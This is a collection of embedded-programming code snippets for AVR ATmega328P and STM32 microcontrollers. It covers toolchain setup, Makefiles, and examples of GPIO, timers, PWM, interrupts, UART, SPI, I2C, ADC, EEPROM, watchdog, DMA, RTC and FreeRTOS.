#define LED_OK      GPIO_PIN_1
#define LED_BUSY    GPIO_PIN_2

// Assert macro
#define ASSERT(expr) \
    if (!(expr)) { \
        debug_print("Assert failed: " #expr); \
        while(1);  // Halt \
    }

┌──────────────────────────────────────┐
│        AVR Memory Map                │
├──────────────────────────────────────┤
│  Program Memory (Flash)              │
│  ┌────────────────────────────────┐  │
│  │ 0x0000: Interrupt Vectors      │  │
│  │ 0x0034: Program Code           │  │
│  │ ...                            │  │
│  │ End:    Bootloader (optional)  │  │
│  └────────────────────────────────┘  │
├──────────────────────────────────────┤
│  Data Memory (SRAM)                  │
│  ┌────────────────────────────────┐  │
│  │ 0x0000-0x001F: Registers (R0-R31)│
│  │ 0x0020-0x005F: I/O Registers   │  │
│  │ 0x0060-0x00FF: Extended I/O    │  │
│  │ 0x0100-...   : SRAM            │  │
│  │ ...          : Stack (grows ↓) │  │
│  └────────────────────────────────┘  │
├──────────────────────────────────────┤
│  EEPROM (Non-volatile)               │
│  ┌────────────────────────────────┐  │
│  │ 0x0000: User data storage      │  │
│  │ ...                            │  │
│  └────────────────────────────────┘  │
└──────────────────────────────────────┘

R0-R31:  32 general-purpose 8-bit registers
R26-R27: X pointer (XL, XH)
R28-R29: Y pointer (YL, YH)
R30-R31: Z pointer (ZL, ZH)

Bit 7: I - Global Interrupt Enable
Bit 6: T - Transfer bit
Bit 5: H - Half Carry Flag
Bit 4: S - Sign Flag
Bit 3: V - Overflow Flag
Bit 2: N - Negative Flag
Bit 1: Z - Zero Flag
Bit 0: C - Carry Flag

         ATmega328P (DIP-28)
              ┌───∪───┐
    RESET  1 ─┤       ├─ 28  PC5/ADC5/SCL
    RXD/D0 2 ─┤       ├─ 27  PC4/ADC4/SDA
    TXD/D1 3 ─┤       ├─ 26  PC3/ADC3
    INT0/D2 4 ─┤       ├─ 25  PC2/ADC2
    INT1/D3 5 ─┤       ├─ 24  PC1/ADC1
    D4     6 ─┤       ├─ 23  PC0/ADC0
    VCC    7 ─┤       ├─ 22  GND
    GND    8 ─┤       ├─ 21  AREF
    XTAL1  9 ─┤       ├─ 20  AVCC
    XTAL2 10 ─┤       ├─ 19  PB5/SCK
    D5    11 ─┤       ├─ 18  PB4/MISO
    D6    12 ─┤       ├─ 17  PB3/MOSI
    D7    13 ─┤       ├─ 16  PB2/SS
    D8    14 ─┤       ├─ 15  PB1/OC1A
              └───────┘

GPIO Ports:
  Port B (PB0-PB5): Digital I/O, SPI
  Port C (PC0-PC5): Analog input (ADC), I2C
  Port D (PD0-PD7): Digital I/O, UART, Interrupts

# Install AVR tools (Ubuntu/Debian)
sudo apt install gcc-avr avr-libc avrdude

# Install on Arch Linux
sudo pacman -S avr-gcc avr-libc avrdude

# Install on macOS
brew install avr-gcc avr-libc avrdude

# Verify installation
avr-gcc --version
avrdude -v

project/
├── main.c
├── Makefile
└── README.md

# AVR Makefile
MCU = atmega328p
F_CPU = 16000000UL
BAUD = 9600

CC = avr-gcc
OBJCOPY = avr-objcopy
OBJDUMP = avr-objdump
SIZE = avr-size

TARGET = main
SRC = main.c

CFLAGS = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -DBAUD=$(BAUD)
CFLAGS += -Os -Wall -Wextra -std=c99

# Programmer settings
PROGRAMMER = arduino
PORT = /dev/ttyUSB0

all: $(TARGET).hex

$(TARGET).elf: $(SRC)
	$(CC) $(CFLAGS) -o $@ $^
	$(SIZE) $@

$(TARGET).hex: $(TARGET).elf
	$(OBJCOPY) -O ihex -R .eeprom $< $@

flash: $(TARGET).hex
	avrdude -c $(PROGRAMMER) -p $(MCU) -P $(PORT) -U flash:w:$<

clean:
	rm -f $(TARGET).elf $(TARGET).hex

.PHONY: all flash clean

# Compile
make

# Flash to device
make flash

# Clean build files
make clean

# Manual commands
avr-gcc -mmcu=atmega328p -DF_CPU=16000000UL -Os -o main.elf main.c
avr-objcopy -O ihex -R .eeprom main.elf main.hex
avrdude -c arduino -p atmega328p -P /dev/ttyUSB0 -U flash:w:main.hex

#include <avr/io.h>

/* Set bit (set to 1) */
PORTB |= (1 << PB5);

/* Clear bit (set to 0) */
PORTB &= ~(1 << PB5);

/* Toggle bit */
PORTB ^= (1 << PB5);

/* Check bit */
if (PIND & (1 << PD2)) {
    // Bit is set
}

/* Set multiple bits */
PORTB |= (1 << PB0) | (1 << PB1) | (1 << PB2);

/* Clear multiple bits */
PORTB &= ~((1 << PB0) | (1 << PB1));

/* Write entire register */
PORTB = 0b10101010;

#include <avr/io.h>
#include <util/delay.h>

int main(void) {
    /* Set PB5 (Arduino pin 13) as output */
    DDRB |= (1 << DDB5);

    /* Main loop */
    while (1) {
        /* Turn LED on */
        PORTB |= (1 << PORTB5);
        _delay_ms(1000);

        /* Turn LED off */
        PORTB &= ~(1 << PORTB5);
        _delay_ms(1000);
    }

    return 0;
}

#include <avr/io.h>
#include <util/delay.h>

int main(void) {
    /* PB5 as output (LED) */
    DDRB |= (1 << DDB5);

    /* PD2 as input (button) */
    DDRD &= ~(1 << DDD2);

    /* Enable pull-up resistor on PD2 */
    PORTD |= (1 << PORTD2);

    while (1) {
        /* Check if button pressed (active low) */
        if (\!(PIND & (1 << PIND2))) {
            PORTB |= (1 << PORTB5);   // LED on
        } else {
            PORTB &= ~(1 << PORTB5);  // LED off
        }

        _delay_ms(10);  // Debounce delay
    }

    return 0;
}

#include <avr/io.h>
#include <util/delay.h>

int main(void) {
    /* Set PB0-PB5 as outputs */
    DDRB = 0b00111111;

    while (1) {
        /* Running LED pattern */
        for (uint8_t i = 0; i < 6; i++) {
            PORTB = (1 << i);
            _delay_ms(200);
        }

        /* Reverse */
        for (uint8_t i = 6; i > 0; i--) {
            PORTB = (1 << (i-1));
            _delay_ms(200);
        }
    }

    return 0;
}

#include <avr/io.h>
#include <avr/interrupt.h>

volatile uint32_t milliseconds = 0;

/* Timer0 overflow interrupt */
ISR(TIMER0_OVF_vect) {
    milliseconds++;
}

void timer0_init(void) {
    /* Set prescaler to 64 */
    TCCR0B |= (1 << CS01) | (1 << CS00);

    /* Enable overflow interrupt */
    TIMSK0 |= (1 << TOIE0);

    /* Enable global interrupts */
    sei();
}

int main(void) {
    DDRB |= (1 << DDB5);
    timer0_init();

    while (1) {
        if (milliseconds >= 1000) {
            milliseconds = 0;
            PORTB ^= (1 << PORTB5);
        }
    }

    return 0;
}

#include <avr/io.h>
#include <util/delay.h>

void pwm_init(void) {
    /* Set PB1 (OC1A) as output */
    DDRB |= (1 << DDB1);

    /* Fast PWM, 10-bit, non-inverted */
    TCCR1A |= (1 << WGM11) | (1 << WGM10);
    TCCR1A |= (1 << COM1A1);
    TCCR1B |= (1 << WGM12) | (1 << CS10);  // No prescaling

    /* Set initial duty cycle */
    OCR1A = 512;  // 50% duty cycle (0-1023)
}

int main(void) {
    pwm_init();

    while (1) {
        /* Fade in */
        for (uint16_t i = 0; i <= 1023; i += 10) {
            OCR1A = i;
            _delay_ms(20);
        }

        /* Fade out */
        for (uint16_t i = 1023; i > 0; i -= 10) {
            OCR1A = i;
            _delay_ms(20);
        }
    }

    return 0;
}

#include <avr/io.h>
#include <avr/interrupt.h>

volatile uint8_t flag = 0;

/* Timer2 compare match interrupt - fires every 1ms */
ISR(TIMER2_COMPA_vect) {
    static uint16_t count = 0;
    count++;

    if (count >= 1000) {  // 1 second
        count = 0;
        flag = 1;
    }
}

void timer2_init(void) {
    /* CTC mode */
    TCCR2A |= (1 << WGM21);

    /* Prescaler 64: 16MHz / 64 = 250kHz */
    TCCR2B |= (1 << CS22);

    /* Compare value for 1ms: 250kHz / 250 = 1kHz */
    OCR2A = 249;

    /* Enable compare match interrupt */
    TIMSK2 |= (1 << OCIE2A);

    sei();
}

int main(void) {
    DDRB |= (1 << DDB5);
    timer2_init();

    while (1) {
        if (flag) {
            flag = 0;
            PORTB ^= (1 << PORTB5);
        }
    }

    return 0;
}

#include <avr/io.h>
#include <avr/interrupt.h>

volatile uint8_t led_state = 0;

/* INT0 interrupt handler */
ISR(INT0_vect) {
    led_state = \!led_state;

    if (led_state) {
        PORTB |= (1 << PORTB5);
    } else {
        PORTB &= ~(1 << PORTB5);
    }
}

void int0_init(void) {
    /* PD2 as input with pull-up */
    DDRD &= ~(1 << DDD2);
    PORTD |= (1 << PORTD2);

    /* Trigger on falling edge */
    EICRA |= (1 << ISC01);

    /* Enable INT0 */
    EIMSK |= (1 << INT0);

    sei();
}

int main(void) {
    DDRB |= (1 << DDB5);
    int0_init();

    while (1) {
        /* Main loop can do other things */
    }

    return 0;
}

#include <avr/io.h>
#include <avr/interrupt.h>

/* PCINT0 interrupt (PB0-PB7) */
ISR(PCINT0_vect) {
    /* Check which pin changed */
    if (\!(PINB & (1 << PINB0))) {
        // PB0 is low
        PORTB |= (1 << PORTB5);
    } else {
        PORTB &= ~(1 << PORTB5);
    }
}

void pcint_init(void) {
    /* Enable pull-up on PB0 */
    PORTB |= (1 << PORTB0);

    /* Enable PCINT0 (PB0) */
    PCMSK0 |= (1 << PCINT0);

    /* Enable pin change interrupt 0 */
    PCICR |= (1 << PCIE0);

    sei();
}

int main(void) {
    DDRB |= (1 << DDB5);
    DDRB &= ~(1 << DDB0);

    pcint_init();

    while (1) {
        /* Main loop */
    }

    return 0;
}

#include <avr/io.h>
#include <util/delay.h>

#define BAUD 9600
#define MYUBRR F_CPU/16/BAUD-1

void uart_init(void) {
    /* Set baud rate */
    UBRR0H = (MYUBRR >> 8);
    UBRR0L = MYUBRR;

    /* Enable transmitter and receiver */
    UCSR0B = (1 << TXEN0) | (1 << RXEN0);

    /* Set frame format: 8 data bits, 1 stop bit */
    UCSR0C = (1 << UCSZ01) | (1 << UCSZ00);
}

void uart_transmit(uint8_t data) {
    /* Wait for empty transmit buffer */
    while (\!(UCSR0A & (1 << UDRE0)));

    /* Put data into buffer */
    UDR0 = data;
}

uint8_t uart_receive(void) {
    /* Wait for data */
    while (\!(UCSR0A & (1 << RXC0)));

    /* Get and return data */
    return UDR0;
}

void uart_print(const char* str) {
    while (*str) {
        uart_transmit(*str++);
    }
}

int main(void) {
    uart_init();

    uart_print("Hello, AVR\!\r\n");

    while (1) {
        uint8_t received = uart_receive();
        uart_transmit(received);  // Echo back
    }

    return 0;
}

#include <avr/io.h>

void spi_init(void) {
    /* Set MOSI, SCK, and SS as outputs */
    DDRB |= (1 << DDB3) | (1 << DDB5) | (1 << DDB2);

    /* Set MISO as input */
    DDRB &= ~(1 << DDB4);

    /* Enable SPI, Master mode, clock = F_CPU/16 */
    SPCR = (1 << SPE) | (1 << MSTR) | (1 << SPR0);
}

uint8_t spi_transfer(uint8_t data) {
    /* Start transmission */
    SPDR = data;

    /* Wait for transmission complete */
    while (\!(SPSR & (1 << SPIF)));

    /* Return received data */
    return SPDR;
}

int main(void) {
    spi_init();

    while (1) {
        /* Select device (SS low) */
        PORTB &= ~(1 << PORTB2);

        /* Send data */
        spi_transfer(0xAB);
        uint8_t received = spi_transfer(0x00);

        /* Deselect device (SS high) */
        PORTB |= (1 << PORTB2);
    }

    return 0;
}

#include <avr/io.h>
#include <util/twi.h>

#define F_SCL 100000UL  // 100 kHz
#define TWI_BITRATE ((F_CPU / F_SCL) - 16) / 2

void i2c_init(void) {
    /* Set bit rate */
    TWBR = (uint8_t)TWI_BITRATE;

    /* Enable TWI */
    TWCR = (1 << TWEN);
}

void i2c_start(void) {
    /* Send start condition */
    TWCR = (1 << TWINT) | (1 << TWSTA) | (1 << TWEN);

    /* Wait for completion */
    while (\!(TWCR & (1 << TWINT)));
}

void i2c_stop(void) {
    /* Send stop condition */
    TWCR = (1 << TWINT) | (1 << TWSTO) | (1 << TWEN);
}

void i2c_write(uint8_t data) {
    /* Load data */
    TWDR = data;

    /* Start transmission */
    TWCR = (1 << TWINT) | (1 << TWEN);

    /* Wait for completion */
    while (\!(TWCR & (1 << TWINT)));
}

uint8_t i2c_read_ack(void) {
    /* Enable ACK */
    TWCR = (1 << TWINT) | (1 << TWEN) | (1 << TWEA);

    /* Wait for completion */
    while (\!(TWCR & (1 << TWINT)));

    return TWDR;
}

uint8_t i2c_read_nack(void) {
    /* Enable NACK */
    TWCR = (1 << TWINT) | (1 << TWEN);

    /* Wait for completion */
    while (\!(TWCR & (1 << TWINT)));

    return TWDR;
}

int main(void) {
    i2c_init();

    uint8_t device_addr = 0x68 << 1;  // 7-bit address
    uint8_t reg_addr = 0x00;

    while (1) {
        /* Write to device */
        i2c_start();
        i2c_write(device_addr | 0);  // Write mode
        i2c_write(reg_addr);
        i2c_write(0x42);  // Data
        i2c_stop();

        /* Read from device */
        i2c_start();
        i2c_write(device_addr | 0);  // Write mode
        i2c_write(reg_addr);
        i2c_start();  // Repeated start
        i2c_write(device_addr | 1);  // Read mode
        uint8_t data = i2c_read_nack();
        i2c_stop();
    }

    return 0;
}

#include <avr/io.h>

void adc_init(void) {
    /* AVCC with external capacitor at AREF */
    ADMUX = (1 << REFS0);

    /* Enable ADC, prescaler 128 (125 kHz @ 16 MHz) */
    ADCSRA = (1 << ADEN) | (1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0);
}

uint16_t adc_read(uint8_t channel) {
    /* Select channel (0-7) */
    ADMUX = (ADMUX & 0xF0) | (channel & 0x0F);

    /* Start conversion */
    ADCSRA |= (1 << ADSC);

    /* Wait for completion */
    while (ADCSRA & (1 << ADSC));

    return ADC;
}

int main(void) {
    uart_init();
    adc_init();

    while (1) {
        uint16_t value = adc_read(0);  // Read ADC0

        /* Convert to voltage (5V reference, 10-bit) */
        float voltage = (value * 5.0) / 1024.0;

        _delay_ms(100);
    }

    return 0;
}

#include <avr/io.h>
#include <avr/eeprom.h>

uint8_t EEMEM stored_value;  // EEPROM variable

void eeprom_write_byte_custom(uint16_t address, uint8_t data) {
    /* Wait for completion of previous write */
    while (EECR & (1 << EEPE));

    /* Set address and data registers */
    EEAR = address;
    EEDR = data;

    /* Write logical one to EEMPE */
    EECR |= (1 << EEMPE);

    /* Start eeprom write by setting EEPE */
    EECR |= (1 << EEPE);
}

uint8_t eeprom_read_byte_custom(uint16_t address) {
    /* Wait for completion of previous write */
    while (EECR & (1 << EEPE));

    /* Set address register */
    EEAR = address;

    /* Start eeprom read by writing EERE */
    EECR |= (1 << EERE);

    /* Return data from data register */
    return EEDR;
}

int main(void) {
    /* Using avr-libc functions (recommended) */
    eeprom_write_byte(&stored_value, 42);
    uint8_t value = eeprom_read_byte(&stored_value);

    /* Using custom functions */
    eeprom_write_byte_custom(0, 100);
    uint8_t val = eeprom_read_byte_custom(0);

    while (1);

    return 0;
}

#include <avr/io.h>
#include <avr/sleep.h>
#include <avr/interrupt.h>

ISR(INT0_vect) {
    /* Wake up from sleep */
}

int main(void) {
    /* Configure wake-up source */
    EIMSK |= (1 << INT0);
    sei();

    /* Set sleep mode */
    set_sleep_mode(SLEEP_MODE_PWR_DOWN);

    while (1) {
        /* Enter sleep mode */
        sleep_mode();

        /* Wake up here and continue */
        PORTB ^= (1 << PORTB5);
    }

    return 0;
}

#include <avr/io.h>
#include <avr/wdt.h>

int main(void) {
    /* Disable watchdog on reset */
    MCUSR &= ~(1 << WDRF);
    wdt_disable();

    /* Enable watchdog: 2 second timeout */
    wdt_enable(WDTO_2S);

    while (1) {
        /* Main program */

        /* Reset watchdog timer */
        wdt_reset();
    }

    return 0;
}

# Read fuses
avrdude -c arduino -p atmega328p -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h

# Set fuses (CAREFUL\!)
# Default for Arduino Uno: lfuse=0xFF, hfuse=0xDE, efuse=0xFD
avrdude -c arduino -p atmega328p -U lfuse:w:0xFF:m -U hfuse:w:0xDE:m -U efuse:w:0xFD:m

┌────────────────────────────────┐
│  STM32 Nucleo-64               │
│                                 │
│  ┌─────────────────┐           │
│  │   STM32 MCU     │           │
│  │   (QFP64)       │           │
│  └─────────────────┘           │
│                                 │
│  [CN7] ═══════════════ [CN10]  │  Arduino Headers
│  [CN8] ═══════════════ [CN9]   │
│                                 │
│  [CN1] ST-LINK V2-1            │
│  [USB]                         │
└────────────────────────────────┘

Features:
- Integrated ST-LINK debugger/programmer
- Arduino Uno R3 compatible headers
- Morpho extension headers (full pin access)
- Virtual COM port
- Price: ~$15

┌──────────────────────────┐
│     STM32F103C8T6        │
│     "Blue Pill"          │
│                          │
│  [USB] ═══════════ [SWD] │
│                          │
│  ╔════════════════════╗  │
│  ║  Header Pins       ║  │
│  ║  (40 pins total)   ║  │
│  ╚════════════════════╝  │
│                          │
│  [3.3V] [5V] [GND]       │
└──────────────────────────┘

Specs:
- 72 MHz ARM Cortex-M3
- 64 KB Flash, 20 KB RAM
- 37 GPIO pins
- 2x SPI, 2x I2C, 3x USART
- 12-bit ADC, 2x DAC
- Price: ~$2

# Download from ST website:
# https://www.st.com/en/development-tools/stm32cubeide.html

# Linux installation:
sudo chmod +x st-stm32cubeide_*.sh
sudo ./st-stm32cubeide_*.sh

# Install udev rules for ST-LINK
sudo cp ~/STMicroelectronics/STM32Cube/STM32CubeIDE/Drivers/rules/*.* /etc/udev/rules.d/
sudo udevadm control --reload-rules

# Install ARM toolchain
sudo apt install gcc-arm-none-eabi gdb-multiarch

# Install OpenOCD (programming/debugging)
sudo apt install openocd

# Install st-link utilities
sudo apt install stlink-tools

# Verify installation
arm-none-eabi-gcc --version
openocd --version
st-info --version

pip install platformio

# Create project
pio init --board nucleo_f401re

# platformio.ini
[env:nucleo_f401re]
platform = ststm32
board = nucleo_f401re
framework = arduino
# or framework = stm32cube

1. Pinout Configuration:
   - Find LED pin (e.g., PC13 on Blue Pill)
   - Set as GPIO_Output
   - Label it "LED"

2. GPIO Configuration:
   - Mode: Output Push Pull
   - Pull-up/Pull-down: No pull-up and no pull-down
   - Maximum output speed: Low
   - User Label: LED

3. Clock Configuration:
   - HSE: 8 MHz (external crystal)
   - PLL: ×9 (72 MHz system clock)

4. Generate Code

project/
├── Core/
│   ├── Inc/
│   │   ├── main.h
│   │   ├── stm32f1xx_it.h
│   │   └── stm32f1xx_hal_conf.h
│   └── Src/
│       ├── main.c
│       ├── stm32f1xx_it.c
│       └── system_stm32f1xx.c
├── Drivers/
│   ├── STM32F1xx_HAL_Driver/
│   └── CMSIS/
└── Makefile

/* main.c - Generated by CubeMX */
#include "main.h"

GPIO_InitTypeDef GPIO_InitStruct = {0};

void SystemClock_Config(void);
static void MX_GPIO_Init(void);

int main(void) {
    /* Initialize HAL Library */
    HAL_Init();

    /* Configure system clock */
    SystemClock_Config();

    /* Initialize GPIO */
    MX_GPIO_Init();

    /* Infinite loop */
    while (1) {
        HAL_GPIO_TogglePin(GPIOC, GPIO_PIN_13);
        HAL_Delay(1000);
    }
}

static void MX_GPIO_Init(void) {
    /* Enable GPIO Clock */
    __HAL_RCC_GPIOC_CLK_ENABLE();

    /* Configure GPIO pin */
    GPIO_InitStruct.Pin = GPIO_PIN_13;
    GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
    GPIO_InitStruct.Pull = GPIO_NOPULL;
    GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
    HAL_GPIO_Init(GPIOC, &GPIO_InitStruct);
}

void SystemClock_Config(void) {
    /* Generated by CubeMX - configures clocks */
}

/* Write pin */
HAL_GPIO_WritePin(GPIOC, GPIO_PIN_13, GPIO_PIN_SET);    // High
HAL_GPIO_WritePin(GPIOC, GPIO_PIN_13, GPIO_PIN_RESET);  // Low

/* Toggle pin */
HAL_GPIO_TogglePin(GPIOC, GPIO_PIN_13);

/* Read pin */
GPIO_PinState state = HAL_GPIO_ReadPin(GPIOA, GPIO_PIN_0);

/* External interrupt */
HAL_GPIO_EXTI_IRQHandler(GPIO_PIN_0);  // Call in ISR
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin);  // Override this

/* Configure button with external interrupt in CubeMX:
   PA0 -> GPIO_EXTI0
   Mode: External Interrupt Mode with Rising edge trigger detection
   Pull-up: Pull-up

   In NVIC tab: Enable EXTI line0 interrupt
*/

/* main.c */
volatile uint8_t button_pressed = 0;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_GPIO_Init();

    while (1) {
        if (button_pressed) {
            button_pressed = 0;
            HAL_GPIO_TogglePin(GPIOC, GPIO_PIN_13);
        }
    }
}

/* Interrupt callback - implement this */
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) {
    if (GPIO_Pin == GPIO_PIN_0) {
        button_pressed = 1;
    }
}

/* stm32f1xx_it.c - Generated by CubeMX */
void EXTI0_IRQHandler(void) {
    HAL_GPIO_EXTI_IRQHandler(GPIO_PIN_0);
}

/* Configure UART in CubeMX:
   USART1: PA9 (TX), PA10 (RX)
   Baud Rate: 115200
   Word Length: 8 Bits
   Stop Bits: 1
   Parity: None
*/

UART_HandleTypeDef huart1;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_USART1_UART_Init();

    uint8_t msg[] = "Hello, STM32!\r\n";
    HAL_UART_Transmit(&huart1, msg, sizeof(msg)-1, HAL_MAX_DELAY);

    uint8_t rx_buffer[10];
    while (1) {
        /* Blocking receive */
        HAL_UART_Receive(&huart1, rx_buffer, 1, HAL_MAX_DELAY);

        /* Echo back */
        HAL_UART_Transmit(&huart1, rx_buffer, 1, HAL_MAX_DELAY);
    }
}

/* printf redirect */
int _write(int file, char *ptr, int len) {
    HAL_UART_Transmit(&huart1, (uint8_t*)ptr, len, HAL_MAX_DELAY);
    return len;
}

/* Configure ADC in CubeMX:
   ADC1, Channel 0 (PA0)
   Resolution: 12 bits
   Continuous Conversion: Disabled
*/

ADC_HandleTypeDef hadc1;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_ADC1_Init();

    while (1) {
        HAL_ADC_Start(&hadc1);
        HAL_ADC_PollForConversion(&hadc1, HAL_MAX_DELAY);
        uint32_t adc_value = HAL_ADC_GetValue(&hadc1);

        /* Convert to voltage (3.3V reference, 12-bit) */
        float voltage = (adc_value * 3.3f) / 4096.0f;

        printf("ADC: %lu, Voltage: %.2f V\r\n", adc_value, voltage);

        HAL_Delay(1000);
    }
}

/* Configure Timer in CubeMX:
   TIM2, Channel 1 (PA0)
   Mode: PWM Generation CH1
   Prescaler: 72-1 (1 MHz timer clock)
   Counter Period: 1000-1 (1 kHz PWM)
*/

TIM_HandleTypeDef htim2;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_TIM2_Init();

    /* Start PWM */
    HAL_TIM_PWM_Start(&htim2, TIM_CHANNEL_1);

    while (1) {
        /* Fade in */
        for (uint16_t duty = 0; duty <= 1000; duty += 10) {
            __HAL_TIM_SET_COMPARE(&htim2, TIM_CHANNEL_1, duty);
            HAL_Delay(10);
        }

        /* Fade out */
        for (uint16_t duty = 1000; duty > 0; duty -= 10) {
            __HAL_TIM_SET_COMPARE(&htim2, TIM_CHANNEL_1, duty);
            HAL_Delay(10);
        }
    }
}

/* Configure I2C in CubeMX:
   I2C1: PB6 (SCL), PB7 (SDA)
   Speed: 100 kHz (Standard Mode)
*/

I2C_HandleTypeDef hi2c1;

#define DEVICE_ADDR 0x68 << 1  // 7-bit address shifted

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_I2C1_Init();

    uint8_t tx_data = 0x00;
    uint8_t rx_data[2];

    while (1) {
        /* Write register address */
        HAL_I2C_Master_Transmit(&hi2c1, DEVICE_ADDR, &tx_data, 1, HAL_MAX_DELAY);

        /* Read data */
        HAL_I2C_Master_Receive(&hi2c1, DEVICE_ADDR, rx_data, 2, HAL_MAX_DELAY);

        HAL_Delay(1000);
    }
}

/* Configure SPI in CubeMX:
   SPI1: PA5 (SCK), PA6 (MISO), PA7 (MOSI)
   Mode: Master
   Baud Rate Prescaler: 32
   Data Size: 8 Bits
*/

SPI_HandleTypeDef hspi1;

#define CS_PIN GPIO_PIN_4
#define CS_PORT GPIOA

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_SPI1_Init();
    MX_GPIO_Init();  // CS pin

    uint8_t tx_data[] = {0x01, 0x02, 0x03};
    uint8_t rx_data[3];

    while (1) {
        /* Select device */
        HAL_GPIO_WritePin(CS_PORT, CS_PIN, GPIO_PIN_RESET);

        /* Transfer data */
        HAL_SPI_TransmitReceive(&hspi1, tx_data, rx_data, 3, HAL_MAX_DELAY);

        /* Deselect device */
        HAL_GPIO_WritePin(CS_PORT, CS_PIN, GPIO_PIN_SET);

        HAL_Delay(1000);
    }
}

/* Blink LED without HAL - STM32F103 */
#include "stm32f1xx.h"

int main(void) {
    /* Enable GPIOC clock */
    RCC->APB2ENR |= RCC_APB2ENR_IOPCEN;

    /* Configure PC13 as output push-pull, max speed 2 MHz */
    GPIOC->CRH &= ~(GPIO_CRH_MODE13 | GPIO_CRH_CNF13);
    GPIOC->CRH |= GPIO_CRH_MODE13_1;  // Output mode, 2 MHz

    while (1) {
        /* Toggle LED */
        GPIOC->ODR ^= GPIO_ODR_ODR13;

        /* Delay */
        for (volatile uint32_t i = 0; i < 1000000; i++);
    }
}

/* Set pin high */
GPIOC->BSRR = GPIO_BSRR_BS13;    // Bit Set

/* Set pin low */
GPIOC->BSRR = GPIO_BSRR_BR13;    // Bit Reset

/* Toggle pin */
GPIOC->ODR ^= GPIO_ODR_ODR13;

/* Read pin */
uint32_t state = GPIOA->IDR & GPIO_IDR_IDR0;

/* Initialize UART1 - 115200 baud, 72 MHz clock */
void UART1_Init(void) {
    /* Enable clocks */
    RCC->APB2ENR |= RCC_APB2ENR_USART1EN | RCC_APB2ENR_IOPAEN;

    /* Configure PA9 (TX) as alternate function push-pull */
    GPIOA->CRH &= ~(GPIO_CRH_MODE9 | GPIO_CRH_CNF9);
    GPIOA->CRH |= GPIO_CRH_MODE9_1 | GPIO_CRH_CNF9_1;

    /* Configure PA10 (RX) as input floating */
    GPIOA->CRH &= ~(GPIO_CRH_MODE10 | GPIO_CRH_CNF10);
    GPIOA->CRH |= GPIO_CRH_CNF10_0;

    /* Configure UART */
    USART1->BRR = 0x271;  // 115200 baud at 72 MHz
    USART1->CR1 = USART_CR1_TE | USART_CR1_RE | USART_CR1_UE;
}

void UART1_SendChar(char c) {
    while (!(USART1->SR & USART_SR_TXE));
    USART1->DR = c;
}

char UART1_ReceiveChar(void) {
    while (!(USART1->SR & USART_SR_RXNE));
    return USART1->DR;
}

/* Configure TIM2 for 1 second interrupt */
void TIM2_Init(void) {
    /* Enable TIM2 clock */
    RCC->APB1ENR |= RCC_APB1ENR_TIM2EN;

    /* Configure timer:
       72 MHz / 7200 = 10 kHz
       10 kHz / 10000 = 1 Hz (1 second)
    */
    TIM2->PSC = 7200 - 1;      // Prescaler
    TIM2->ARR = 10000 - 1;     // Auto-reload
    TIM2->DIER |= TIM_DIER_UIE;  // Update interrupt enable
    TIM2->CR1 |= TIM_CR1_CEN;    // Enable timer

    /* Enable interrupt in NVIC */
    NVIC_EnableIRQ(TIM2_IRQn);
}

/* Interrupt handler */
void TIM2_IRQHandler(void) {
    if (TIM2->SR & TIM_SR_UIF) {
        TIM2->SR &= ~TIM_SR_UIF;  // Clear interrupt flag

        /* Toggle LED */
        GPIOC->ODR ^= GPIO_ODR_ODR13;
    }
}

/* Configure DMA for UART TX in CubeMX:
   DMA1, Channel 4
   Direction: Memory to Peripheral
   Mode: Normal
*/

uint8_t tx_buffer[] = "Hello from DMA!\r\n";

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_USART1_UART_Init();
    MX_DMA_Init();

    while (1) {
        HAL_UART_Transmit_DMA(&huart1, tx_buffer, sizeof(tx_buffer)-1);
        HAL_Delay(1000);
    }
}

/* DMA transfer complete callback */
void HAL_UART_TxCpltCallback(UART_HandleTypeDef *huart) {
    /* Transfer complete - can start next */
}

/* Configure RTC in CubeMX:
   RTC Activated
   Clock Source: LSE (32.768 kHz)
*/

RTC_TimeTypeDef sTime;
RTC_DateTypeDef sDate;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_RTC_Init();

    /* Set time */
    sTime.Hours = 12;
    sTime.Minutes = 0;
    sTime.Seconds = 0;
    HAL_RTC_SetTime(&hrtc, &sTime, RTC_FORMAT_BIN);

    /* Set date */
    sDate.Year = 24;
    sDate.Month = 1;
    sDate.Date = 15;
    HAL_RTC_SetDate(&hrtc, &sDate, RTC_FORMAT_BIN);

    while (1) {
        HAL_RTC_GetTime(&hrtc, &sTime, RTC_FORMAT_BIN);
        HAL_RTC_GetDate(&hrtc, &sDate, RTC_FORMAT_BIN);

        printf("%02d:%02d:%02d\r\n", 
               sTime.Hours, sTime.Minutes, sTime.Seconds);

        HAL_Delay(1000);
    }
}

/* Configure IWDG in CubeMX:
   Independent Watchdog
   Prescaler: 32
   Counter Reload Value: 4095 (max ~4 seconds)
*/

IWDG_HandleTypeDef hiwdg;

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_IWDG_Init();

    while (1) {
        /* Main program tasks */

        /* Refresh watchdog */
        HAL_IWDG_Refresh(&hiwdg);

        HAL_Delay(100);
    }
}

/* Enable FreeRTOS in CubeMX */
#include "FreeRTOS.h"
#include "task.h"

void Task1(void *argument);
void Task2(void *argument);

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_GPIO_Init();

    /* Create tasks */
    xTaskCreate(Task1, "Task1", 128, NULL, 1, NULL);
    xTaskCreate(Task2, "Task2", 128, NULL, 1, NULL);

    /* Start scheduler */
    vTaskStartScheduler();

    /* Never reached */
    while (1);
}

void Task1(void *argument) {
    while (1) {
        HAL_GPIO_TogglePin(GPIOC, GPIO_PIN_13);
        vTaskDelay(pdMS_TO_TICKS(500));
    }
}

void Task2(void *argument) {
    while (1) {
        /* Other task */
        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

/* Enter Stop mode */
